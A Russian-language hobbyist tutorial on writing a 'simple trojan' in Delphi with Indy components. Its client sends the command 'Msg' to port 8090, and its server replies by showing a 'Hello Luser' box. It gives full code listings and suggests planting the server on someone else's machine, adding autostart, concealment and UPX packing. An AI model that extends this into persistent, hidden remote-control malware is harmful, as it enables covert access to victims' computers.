Пишем простого трояна

Привет, я
Lex Luthor! Если вы ,бродите по просторам сети, то должны знать что такое троян. Троян — хакерская программа выполняющая различные команды. Принцип работы похож на удалённое администрирование. Троян делится на две программы: 1-я клиент(т.е вы будете управлять со своего компа), и 2-я сервер(программа выполняющая наши команды). Работает троян по простому принципу: Зная IP — жертвы мы посылаем команду на порт.После поступления команды,
сервер слушает данный порт. Если к примеру поступила команда
«Msg», то покажем сообщение.Всё,приступим к работе.I. Вступление.
Привет, я
Lex Luthor! Если вы ,бродите по просторам сети, то должны знать что такое троян. Троян — хакерская программа выполняющая различные команды. Принцип работы похож на удалённое администрирование. Троян делится на две программы: 1-я клиент(т.е вы будете управлять со своего компа), и 2-я сервер(программа выполняющая наши команды). Работает троян по простому принципу: Зная IP — жертвы мы посылаем команду на порт.После поступления команды,
сервер слушает данный порт. Если к примеру поступила команда
«Msg», то покажем сообщение.Всё,приступим к работе.

II. Пишем клиентскую часть.
Запускайте Делфи 7.Итак, переходите на закладку
Indy Clients,и кладёте на форму компонент
idTCPClient.

'Пишем 

Теперь, смотрите закладку
Standart и берите с неё :
1. Button (в
Caption напишите:=послать команду);
2. Memo (здесь я только очистил
Memo.Lines и поставил
ScrollBars:=ssVertical);

 

'Пишем
alt
Закладка
Standart и нужные нам с неё компоненты.

Всё с заготовкой формы мы закончили и начнём писать код. Теперь нажимайте на
idTCPClient и смотрите на
Object Inspector, думаю в найдёте закладку
Events:

'Пишем
alt

Из всех событий нам понадобятся только:
1.
OnConnected — если вы подключились , то в логе будет инфа об подключении.
2.
OnDisconnected — это событие противоположно
OnConnected, только здесь будет инфа об разъединении. Теперь вызывайте обработчик события
OnConnected:

procedure TForm1.IdTCPClient1Connected(Sender: TObject);

begin
Memo1.Lines.Add(\’Подключились!!!\’);

end;

Также вызовите обработчик для события
OnDisconnected:

procedure TForm1.IdTCPClient1Disconnected(Sender: TObject);

begin
Memo1.Lines.Add(\’Отключаемся\’);

end;

Команду будет отправлять наша кнопка, вот код и для неё:

procedureTForm1.Button1Click(Sender: TObject);

begin
idTCPClient1.Host:=\’127.0.0.1\’;
//IP-жертвы,для тестирования укажем свой ip.
idTCPClient1.Port:=8090;
//Порт, на который будем отправлять команду.
idTCPClient1.Connect();
//Подключаемся.
idTCPClient1.WriteLn(\’Msg\’);
//Отсылаем команду.
idTCPClient1.Disconnect;
//Отключаемся.

end;
На этом
клиентская часть закончена,приведу вам два скрина если вы вдруг что то не поняли:

'Пишем

altМоя форма — клиента

'Пишем

altРазработка — клиента

III.Пишем серверную часть.
Эта прога(«сервер») будет выполнять наши команды. Всё что серверу надо сделать это только слушать порт и если на него приходит команда
«Msg» выполнить её. Приступим! Кладём с закладки
Indy Servers компонент
IdTCPServer. В
Object Inspector на закладке событий(
Events) ищите cобытие
OnExecute и вызовите его обработчик. В обработчике пишите:

procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);

begin

if AThread.Connection.ReadLn=(\’Msg\’)
then
//Если на порт поступила наша команда то
ShowMessage(\’Hello Luser\’);
//Покажем сообщение
AThread.Connection.Disconnect;
//И отключимся…

end;

'Пишем 

Событие
OnExecute

Также не забудте указать в св-ва в
idTCPServer:
1. Bindings:
8090
2. DefaultPort:
8090
Вот вам скрин как это сделано у меня:

'Пишем 

Указываем нужные св-ва.

У формы в событии
OnCreate пиши следующий код:

procedure TForm1.FormCreate(Sender: TObject);

begin
idTCPServer1.Active:=True;
//При запуске программы активируем idTCPServer

end;

В событии формы
OnDestroy пиши следующий код:

procedure TForm1.FormDestroy(Sender: TObject);

begin
idTCPServer1.Active:=False;
//При выключении программы выключаем idTCPServer

end;

alt
'Пишем
События
OnCreate и
OnDestroy

С
клиентом и
сервером закончено,вам осталось лишь их откомпилить. Сейчас я вам покажу как работать с троем.

IV. Тестируем лошадку.
В итоге нашей работы у вас получилось две программы:
1.
Клиент(находится у вас)
2.
Сервер (вы подкидываете его кому нибудь)

'Пишем
alt
Троян готов к работе
alt

Запускайте оба бинарника и нажимайте на кнопку
«Послать команду». Перед вами должно появится весёлое сообщение «Hello Luser», вот так получается у меня:

'Пишем
alt
Троян в действии
alt

V. Итог
Конечно, нашему трояну много чего не хватает:
1. Что бы он прописывался в автозагрузку.
2. Скрытность(очень важный
пункт).Существуют различные виды маскировки трояна,но это для самостоятельного изучения.
3. Малый размер(я нашего трояна переписал на
C++ Builder и весит он вообщем 57кб). Если вы любитель Delphi можно переписать на WinApi, то тут вы можете забыть о комфорте.Или же юзать библиотеку
KOL. Можно воспользоваться компрессорами, мне больше нравится
UPX он бесплатный и сжимает почти также как и его брат по оружию
Aspack, но он платный.

Все недостатки которые я описал можно исправить,но надо ли? Я лишь хочу предупредить вас об уголовной ответственности за написание таких программ. Мне была интересна данная тема, т.к я почти не знал как работают трояны, но сегодня думаю вы тоже разобрались, мало того мы написали своего троя.
На этом я и закончу,желаю удачи и кульных прог в
новом году.
С уважением,
Lex Luthor.

Информация к статье:

Скачать: Исходник
Автор :
Lex Luthor

Листинг клиента(Language: Delphi):

unit Unit1; 

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
StdCtrls,XpMan;

type
TForm1 = class(TForm)
IdTCPClient1: TIdTCPClient;
Button1: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
procedure IdTCPClient1Connected(Sender: TObject);
procedure IdTCPClient1Disconnected(Sender: TObject);
private

public

end;

var
Form1: TForm1;

implementation

{$R *.dfm}
//---------------------------------------------//
procedure TForm1.Button1Click(Sender: TObject);
begin
idTCPClient1.Host:='127.0.0.1'; //IP-жертвы,для тестирования укажем свой ip.
idTCPClient1.Port:=8090; //Порт, на который будем отправлять команду.
idTCPClient1.Connect(); //Подключаемся.
idTCPClient1.WriteLn('Msg'); //Отсылаем команду.
idTCPClient1.Disconnect; //Отключаемся.
end;
//---------------------------------------------//
procedure TForm1.IdTCPClient1Connected(Sender: TObject);
begin
Memo1.Lines.Add('Подключились!!!');
end;
//---------------------------------------------//
procedure TForm1.IdTCPClient1Disconnected(Sender: TObject);
begin
Memo1.Lines.Add('Отключаемся');
end;
//---------------------------------------------//
end.

Листинг сервера(Language: Delphi):

unit Unit1; 

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPServer, StdCtrls;

type
TForm1 = class(TForm)
IdTCPServer1: TIdTCPServer;
procedure IdTCPServer1Execute(AThread: TIdPeerThread);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private

public

end;

var
Form1: TForm1;

implementation

{$R *.dfm}
//---------------------------------------------//
procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
begin
if AThread.Connection.ReadLn=('Msg') then
ShowMessage('Hello Luser');
AThread.Connection.Disconnect;
end;
//---------------------------------------------//
procedure TForm1.FormCreate(Sender: TObject);
begin
idTCPServer1.Active:=True;
end;
//---------------------------------------------//
procedure TForm1.FormDestroy(Sender: TObject);
begin
idTCPServer1.Active:=False;
end;
//---------------------------------------------//
end.